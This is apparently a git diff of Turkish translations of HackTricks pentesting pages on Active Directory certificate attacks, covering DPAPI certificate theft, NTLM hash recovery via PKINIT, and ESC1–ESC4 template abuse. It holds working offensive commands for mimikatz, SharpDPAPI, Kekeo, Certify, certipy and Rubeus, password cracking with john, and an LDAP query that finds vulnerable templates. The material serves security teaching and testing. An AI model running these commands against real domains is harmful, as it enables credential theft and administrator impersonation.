../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
|
||||
{{#endref}}
|
||||
|
||||
Windows'ta, **sertifika özel anahtarları DPAPI ile korunmaktadır**. **Kullanıcı ve makine özel anahtarları için depolama yerlerinin** farklı olduğunu ve dosya yapıların, işletim sistemi tarafından kullanılan kriptografik API'ye bağlı olarak değiştiğini anlamak önemlidir. **SharpDPAPI**, DPAPI blob'larını şifrelerini çözme sırasında bu farklılıkları otomatik olarak aşabilen bir araçtır.
|
||||
Windows'ta, **sertifika özel anahtarları DPAPI ile korunmaktadır**. **Kullanıcı ve makine özel anahtarları için depolama yerlerinin** farklı olduğunu ve dosya yapıların işletim sistemi tarafından kullanılan kriptografik API'ye bağlı olarak değiştiğini anlamak önemlidir. **SharpDPAPI**, DPAPI blob'larını şifrelerini çözme sırasında bu farklılıkları otomatik olarak aşabilen bir araçtır.
|
||||
|
||||
**Kullanıcı sertifikaları** esasen `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` altında kayıt defterinde bulunur, ancak bazıları `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` dizininde de bulunabilir. Bu sertifikalar için ilgili **özel anahtarlar** genellikle **CAPI** anahtarları için `%APPDATA%\Microsoft\Crypto\RSA\User SID\` ve **CNG** anahtarları için `%APPDATA%\Microsoft\Crypto\Keys\` içinde saklanır.
|
||||
|
||||
@ -44,7 +44,7 @@ Bir **sertifikayı ve ona bağlı özel anahtarı çıkarmak** için süreç şu
|
||||
2. İlgili özel anahtarı şifrelemek için gerekli DPAPI anahtarını **bulmak**.
|
||||
3. Düz metin DPAPI anahtarını kullanarak **özel anahtarı şifre çözmek**.
|
||||
|
||||
Düz metin DPAPI anahtarını **edinmek için** aşağıdaki yaklaşımlar kullanılabilir:
|
||||
Düz metin DPAPI anahtarını **edinmek** için aşağıdaki yaklaşımlar kullanılabilir:
|
||||
```bash
|
||||
# With mimikatz, when running in the user's context
|
||||
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
|
||||
@ -60,27 +60,27 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
|
||||
# Converting .pem to .pfx
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
```
|
||||
## Makine Sertifika Hırsızlığı DPAPI ile – THEFT3
|
||||
## Makine Sertifika Hırsızlığı DPAPI Üzerinden – THEFT3
|
||||
|
||||
Windows tarafından `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` kayıt defterinde saklanan makine sertifikaları ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumlarındaki ilgili özel anahtarlar, makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca SYSTEM kullanıcısının erişebildiği **DPAPI_SYSTEM LSA sırrı** gereklidir.
|
||||
Windows tarafından kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` altında saklanan makine sertifikaları ve ilgili özel anahtarlar `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumlarında bulunur ve makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca **DPAPI_SYSTEM LSA sırrı** gereklidir ve bu sırra yalnızca SYSTEM kullanıcısı erişebilir.
|
||||
|
||||
Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalıştırarak DPAPI_SYSTEM LSA sırrını çıkarmak ve ardından bu anahtarı makine anahtarlarını şifre çözmek için kullanmakla gerçekleştirilebilir. Alternatif olarak, daha önce açıklandığı gibi CAPI/CNG yamanmasının ardından Mimikatz’ın `crypto::certificates /export /systemstore:LOCAL_MACHINE` komutu kullanılabilir.
|
||||
Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalıştırarak DPAPI_SYSTEM LSA sırrını çıkarmak ve ardından bu anahtarı makine anahtarlarını çözmek için kullanmak suretiyle gerçekleştirilebilir. Alternatif olarak, daha önce açıklandığı gibi CAPI/CNG yamanmasının ardından Mimikatz’in `crypto::certificates /export /systemstore:LOCAL_MACHINE` komutu kullanılabilir.
|
||||
|
||||
**SharpDPAPI**, sertifikalar komutuyla daha otomatik bir yaklaşım sunar. `/machine` bayrağı yükseltilmiş izinlerle kullanıldığında, SYSTEM'e yükselir, DPAPI_SYSTEM LSA sırrını döker, bunu makine DPAPI anahtarlarını şifre çözmek için kullanır ve ardından bu düz metin anahtarlarını herhangi bir makine sertifika özel anahtarını şifre çözmek için bir arama tablosu olarak kullanır.
|
||||
**SharpDPAPI**, sertifikalar komutuyla daha otomatik bir yaklaşım sunar. `/machine` bayrağı yükseltilmiş izinlerle kullanıldığında, SYSTEM'e yükselir, DPAPI_SYSTEM LSA sırrını döker, bunu makine DPAPI anahtarlarını çözmek için kullanır ve ardından bu düz metin anahtarlarını herhangi bir makine sertifika özel anahtarını çözmek için bir arama tablosu olarak kullanır.
|
||||
|
||||
## Sertifika Dosyalarını Bulma – THEFT4
|
||||
|
||||
Sertifikalar bazen dosya paylaşımları veya İndirilenler klasörü gibi dosya sisteminde doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünmektedir. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır:
|
||||
Sertifikalar bazen dosya sisteminde, örneğin dosya paylaşımlarında veya İndirilenler klasöründe doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünür. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır:
|
||||
|
||||
- Özel anahtarlar için `.key`,
|
||||
- Sadece sertifikalar için `.crt`/`.cer`,
|
||||
- Sertifika İmzalama Talepleri için `.csr`, bu dosyalar sertifikalar veya özel anahtarlar içermez,
|
||||
- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilen Java Keystore'ları için `.jks`/`.keystore`/`.keys`.
|
||||
- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilecek Java Anahtar Depoları için `.jks`/`.keystore`/`.keys`.
|
||||
|
||||
Bu dosyalar, belirtilen uzantıları arayarak PowerShell veya komut istemcisi kullanılarak aranabilir.
|
||||
|
||||
Bir PKCS#12 sertifika dosyası bulunduğunda ve bir şifre ile korunduğunda, `pfx2john.py` kullanılarak bir hash çıkarılması mümkündür; bu araç [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) adresinde mevcuttur. Ardından, şifreyi kırmaya çalışmak için JohnTheRipper kullanılabilir.
|
||||
```powershell
|
||||
Bir PKCS#12 sertifika dosyası bulunduğunda ve bir şifre ile korunduğunda, `pfx2john.py` kullanılarak bir hash çıkarılması mümkündür; bu dosya [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) adresinde mevcuttur. Ardından, şifreyi kırmaya çalışmak için JohnTheRipper kullanılabilir.
|
||||
```bash
|
||||
# Example command to search for certificate files in PowerShell
|
||||
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
|
||||
|
||||
@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
|
||||
# Command to crack the hash with JohnTheRipper
|
||||
john --wordlist=passwords.txt hash.txt
|
||||
```
|
||||
## NTLM Kimlik Bilgisi Hırsızlığı PKINIT Üzerinden – THEFT5
|
||||
## NTLM Kimlik Bilgisi Hırsızlığı PKINIT Üzerinden – THEFT5 (hash'i UnPAC et)
|
||||
|
||||
Verilen içerik, PKINIT aracılığıyla NTLM kimlik bilgisi hırsızlığı için THEFT5 olarak etiketlenen hırsızlık yöntemini açıklamaktadır. İşte içeriğin pasif sesle yeniden açıklaması, anonimleştirilmiş ve gerektiğinde özetlenmiştir:
|
||||
Verilen içerik, PKINIT üzerinden NTLM kimlik bilgisi hırsızlığı için THEFT5 olarak etiketlenen hırsızlık yöntemini açıklamaktadır. İşte içeriğin pasif sesle yeniden açıklaması, anonimleştirilmiş ve gerektiğinde özetlenmiştir:
|
||||
|
||||
Kerberos kimlik doğrulamasını desteklemeyen uygulamalar için NTLM kimlik doğrulamasını [MS-NLMP] desteklemek amacıyla, KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla kimlik doğrulaması yapıp bir Ticket-Granting Ticket (TGT) elde ettiğinde, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasını sağlayan bir mekanizma sağlanmış olur; bu, eski kimlik doğrulama protokollerini sürdürmek içindir. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifresinin çözülmesini gerektirir.
|
||||
NTLM kimlik doğrulamasını `MS-NLMP` desteklemek için Kerberos kimlik doğrulamasını kolaylaştırmayan uygulamalar için KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla bir Ticket-Granting Ticket (TGT) ile kimlik doğrulaması yapıp güvence altına alırsa, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasını sağlayan bir mekanizma sağlanmış olur; bu da eski kimlik doğrulama protokollerini sürdürmek içindir. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifre çözümlemesini içerir.
|
||||
|
||||
**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu belirli veriyi içeren bir TGT talep edebilme yeteneğine sahip olduğu belirtilmektedir; böylece kullanıcının NTLM'ini geri almak kolaylaşır. Bu amaçla kullanılan komut aşağıdaki gibidir:
|
||||
**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu özel veriyi içeren bir TGT talep etme yeteneğine sahip olduğu belirtilmektedir; böylece kullanıcının NTLM'sinin geri alınmasını kolaylaştırır. Bu amaçla kullanılan komut aşağıdaki gibidir:
|
||||
```bash
|
||||
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
|
||||
```
|
||||
Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in geri alınabilmesi durumunda belirtilmiştir; [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referans verilmiştir. Aynı yeteneğin **Rubeus** tarafından desteklendiği belirtilmektedir; bu da [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) adresinde mevcuttur.
|
||||
**`Rubeus`** bu bilgiyi **`asktgt [...] /getcredentials`** seçeneği ile de alabilir.
|
||||
|
||||
Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar; PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına ve bu süreci kolaylaştıran yardımcı programlara odaklanmaktadır.
|
||||
Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in alınabilmesi durumunda belirtildi, [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referansıyla. Aynı yeteneğin **Rubeus** tarafından desteklendiği, [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) adresinde mevcuttur.
|
||||
|
||||
Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar, PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına odaklanır ve bu süreci kolaylaştıran yardımcı programları içerir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,15 +20,15 @@
|
||||
- **Sertifika şablonlarındaki güvenlik tanımlayıcıları aşırı izinlidir, bu da düşük ayrıcalıklı kullanıcıların kayıt hakları elde etmesine olanak tanır.**
|
||||
- **Sertifika şablonları, kimlik doğrulamayı kolaylaştıran EKU'ları tanımlamak için yapılandırılmıştır:**
|
||||
- Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) veya no EKU (SubCA) gibi Genişletilmiş Anahtar Kullanımı (EKU) tanımlayıcıları dahildir.
|
||||
- **Talep edenlerin Sertifika İmzalama Talebi (CSR) içinde bir subjectAltName dahil etme yeteneği şablon tarafından izin verilmektedir:**
|
||||
- Active Directory (AD), kimlik doğrulama için bir sertifikada subjectAltName (SAN) varsa bunu önceliklendirir. Bu, CSR'de SAN belirterek, herhangi bir kullanıcıyı (örneğin, bir alan yöneticisi) taklit etmek için bir sertifika talep edilebileceği anlamına gelir. Talep edenin bir SAN belirleyip belirleyemeyeceği, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla belirtilir. Bu özellik bir bitmask'tır ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, talep edenin SAN'ı belirtmesine izin verir.
|
||||
- **Talep edenlerin Sertifika İmzalama Talebinde (CSR) subjectAltName ekleme yetkisi şablon tarafından verilmektedir:**
|
||||
- Active Directory (AD), mevcutsa bir sertifikada kimlik doğrulama için subjectAltName (SAN) önceliği verir. Bu, CSR'de SAN belirterek, herhangi bir kullanıcıyı (örneğin, bir alan yöneticisi) taklit etmek için bir sertifika talep edilebileceği anlamına gelir. Talep edenin bir SAN belirleyip belirleyemeyeceği, sertifika şablonunun AD nesnesinde `mspki-certificate-name-flag` özelliği aracılığıyla gösterilmektedir. Bu özellik bir bitmask'tır ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, talep edenin SAN'ı belirtmesine izin verir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifika talep etmelerine izin vererek, Kerberos veya SChannel aracılığıyla herhangi bir alan ilkesinin kimliğini doğrulamalarını sağlar.
|
||||
|
||||
Bu özellik, bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anında oluşturulmasını desteklemek için veya bir anlayış eksikliği nedeniyle etkinleştirilir.
|
||||
Bu özellik, bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anında oluşturulmasını desteklemek için veya bir anlayış eksikliğinden dolayı etkinleştirilir.
|
||||
|
||||
Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmiştir.
|
||||
Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmektedir.
|
||||
|
||||
### Suistimal
|
||||
|
||||
@ -37,19 +37,19 @@ Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, m
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Bu güvenlik açığını **bir yöneticiyi taklit etmek için istismar etmek** amacıyla şunları çalıştırabilirsiniz:
|
||||
Bu **açığı kötüye kullanarak bir yöneticiyi taklit etmek** için şunları çalıştırabilirsiniz:
|
||||
```bash
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Sonra oluşturulan **sertifikayı `.pfx`** formatına dönüştürebilir ve bunu **Rubeus veya certipy** kullanarak tekrar **kimlik doğrulamak için** kullanabilirsiniz:
|
||||
Sonra oluşturulan **sertifikayı `.pfx`** formatına dönüştürebilir ve **Rubeus veya certipy** kullanarak tekrar **kimlik doğrulaması** için kullanabilirsiniz:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe", PFX oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkinleştirilmiş olanların sayımı, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
|
||||
AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkin olanların listelenmesi, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -63,11 +63,11 @@ AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özelli
|
||||
2. Yönetici onayı gereksinimi devre dışı bırakılır.
|
||||
3. Yetkili imzaların gerekliliği atlanır.
|
||||
4. Sertifika şablonundaki aşırı izinli bir güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir.
|
||||
5. **Sertifika şablonu, Any Purpose EKU'yu veya hiç EKU'yu içerecek şekilde tanımlanmıştır.**
|
||||
5. **Sertifika şablonu, Any Purpose EKU veya hiç EKU içerecek şekilde tanımlanmıştır.**
|
||||
|
||||
**Any Purpose EKU**, bir saldırganın **herhangi bir amaç** için, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere bir sertifika almasına izin verir. Bu senaryoyu istismar etmek için **ESC3 için kullanılan aynı teknik** uygulanabilir.
|
||||
**Any Purpose EKU**, bir saldırganın **herhangi bir amaçla**, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere bir sertifika almasına izin verir. Bu senaryoyu istismar etmek için **ESC3 için kullanılan aynı teknik** uygulanabilir.
|
||||
|
||||
**Hiç EKU'su olmayan** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir.
|
||||
**Hiç EKU içermeyen** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaçla** istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir.
|
||||
|
||||
Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, alt CA **`NTAuthCertificates`** nesnesi tarafından güvenilir değilse çalışmayacaktır; bu, varsayılan ayardır. Yine de, bir saldırgan **herhangi bir EKU** ve keyfi sertifika değerleri ile **yeni sertifikalar** oluşturabilir. Bunlar, potansiyel olarak geniş bir yelpazede amaçlar için **kötüye kullanılabilir** (örneğin, kod imzalama, sunucu kimlik doğrulaması vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçlar doğurabilir.
|
||||
|
||||
@ -81,9 +81,9 @@ AD Ormanı'nın yapılandırma şemasında bu senaryoya uyan şablonları listel
|
||||
|
||||
Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Talep Ajanı) ve **2 farklı şablon** **istismar ederek** (bu nedenle 2 set gereksinimi vardır),
|
||||
|
||||
**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir yetkilinin **başka bir kullanıcı adına** bir **sertifika** için **kayıt olmasına** izin verir.
|
||||
**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir kullanıcının **başka bir kullanıcı adına** **sertifika** için **kayıt olmasına** izin verir.
|
||||
|
||||
**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya **gönderir**, **“adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir.
|
||||
**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya gönderir, **“başka biri adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir.
|
||||
|
||||
**Gereksinimler 1:**
|
||||
|
||||
@ -91,13 +91,13 @@ Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Tale
|
||||
- Yönetici onayı gereksinimi atlanır.
|
||||
- Yetkili imzalar için bir gereksinim yoktur.
|
||||
- Sertifika şablonunun güvenlik tanımlayıcısı aşırı derecede izin vericidir, düşük ayrıcalıklı kullanıcılara kayıt hakları verir.
|
||||
- Sertifika şablonu, diğer yetkililer adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir.
|
||||
- Sertifika şablonu, diğer ilkeler adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir.
|
||||
|
||||
**Gereksinimler 2:**
|
||||
|
||||
- Enterprise CA, düşük ayrıcalıklı kullanıcılara kayıt hakları verir.
|
||||
- Yönetici onayı atlanır.
|
||||
- Şablonun şema versiyonu ya 1'dir ya da 2'yi aşar ve Sertifika Talep Ajanı EKU'sunu gerektiren bir Uygulama Politikası İhraç Gereksinimi belirtir.
|
||||
- Şablonun şema versiyonu ya 1'dir ya da 2'yi aşar ve Sertifika Talep Ajanı EKU'sunu gerektiren bir Uygulama Politikası Yayınlama Gereksinimi belirtir.
|
||||
- Sertifika şablonunda tanımlanan bir EKU, alan kimlik doğrulamasına izin verir.
|
||||
- Kayıt ajanları için kısıtlamalar CA üzerinde uygulanmaz.
|
||||
|
||||
@ -117,15 +117,15 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'ini açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Kayıt Ajanları” sekmesine **geçerek** gerçekleştirilir.
|
||||
**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'ini açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Enrollment Agents” sekmesine **geçerek** gerçekleştirilir.
|
||||
|
||||
Ancak, CA'lar için **varsayılan** ayarın “**Kayıt ajanlarını kısıtlamayın**” olduğu belirtilmektedir. Kayıt ajanları üzerindeki kısıtlama, yöneticiler tarafından etkinleştirildiğinde, “Kayıt ajanlarını kısıtla” olarak ayarlandığında, varsayılan yapılandırma son derece izin verici kalır. **Herkes**'in herhangi biri olarak tüm şablonlara kayıt olmasına izin verir.
|
||||
Ancak, CA'lar için **varsayılan** ayarın “**Kayıt ajanlarını kısıtlamayın**” olduğu belirtilmektedir. Kayıt ajanları üzerindeki kısıtlama, yöneticiler tarafından etkinleştirildiğinde, “Kayıt ajanlarını kısıtla” olarak ayarlandığında, varsayılan yapılandırma son derece izin verici kalır. **Herkes**'in, herhangi biri olarak tüm şablonlara kayıt olmasına izin verir.
|
||||
|
||||
## Savunmasız Sertifika Şablonu Erişim Kontrolü - ESC4
|
||||
|
||||
### **Açıklama**
|
||||
|
||||
**Sertifika şablonları** üzerindeki **güvenlik tanımlayıcı**, şablonla ilgili olarak belirli **AD ilkeleri** tarafından sahip olunan **izinleri** tanımlar.
|
||||
**Sertifika şablonları** üzerindeki **güvenlik tanımlayıcı** (security descriptor), şablonla ilgili olarak belirli **AD ilkeleri** tarafından sahip olunan **izinleri** tanımlar.
|
||||
|
||||
Bir **saldırgan**, bir **şablonu** **değiştirmek** ve **önceki bölümlerde** belirtilen herhangi bir **istismar edilebilir yanlış yapılandırmayı** **kurmak** için gerekli **izinlere** sahip olursa, ayrıcalık yükseltmesi sağlanabilir.
|
||||
|
||||
@ -134,8 +134,8 @@ Sertifika şablonlarına uygulanabilir önemli izinler şunlardır:
|
||||
- **Sahip:** Nesne üzerinde örtük kontrol sağlar, herhangi bir niteliği değiştirme yetkisi verir.
|
||||
- **TamKontrol:** Nesne üzerinde tam yetki sağlar, herhangi bir niteliği değiştirme yeteneği dahil.
|
||||
- **SahibiYaz:** Nesnenin sahibini saldırganın kontrolündeki bir ilkeye değiştirme izni verir.
|
||||
- **DaclYaz:** Erişim kontrollerinin ayarlanmasına izin verir, potansiyel olarak bir saldırgana TamKontrol verebilir.
|
||||
- **ÖzellikYaz:** Herhangi bir nesne özelliğinin düzenlenmesine yetki verir.
|
||||
- **ErişimKontrolünüYaz:** Erişim kontrollerinin ayarlanmasına izin verir, potansiyel olarak bir saldırgana TamKontrol verebilir.
|
||||
- **ÖzelliğiYaz:** Herhangi bir nesne özelliğinin düzenlenmesine yetki verir.
|
||||
|
||||
### Suistimal
|
||||
|
||||
@ -143,13 +143,13 @@ Sertifika şablonlarına uygulanabilir önemli izinler şunlardır:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin, sertifika şablonunun yapılandırmasını geçersiz kılmak için istismar edilebilir ve şablonu ESC1'e karşı savunmasız hale getirebilir.
|
||||
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin, sertifika şablonunun yapılandırmasını değiştirmek için suistimal edilebilir ve şablonu ESC1'e karşı savunmasız hale getirebilir.
|
||||
|
||||
Yukarıdaki yolda görüldüğü gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahiptir, ancak kullanıcı `JOHN`'ın `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarı vardır. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, bu da [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
|
||||
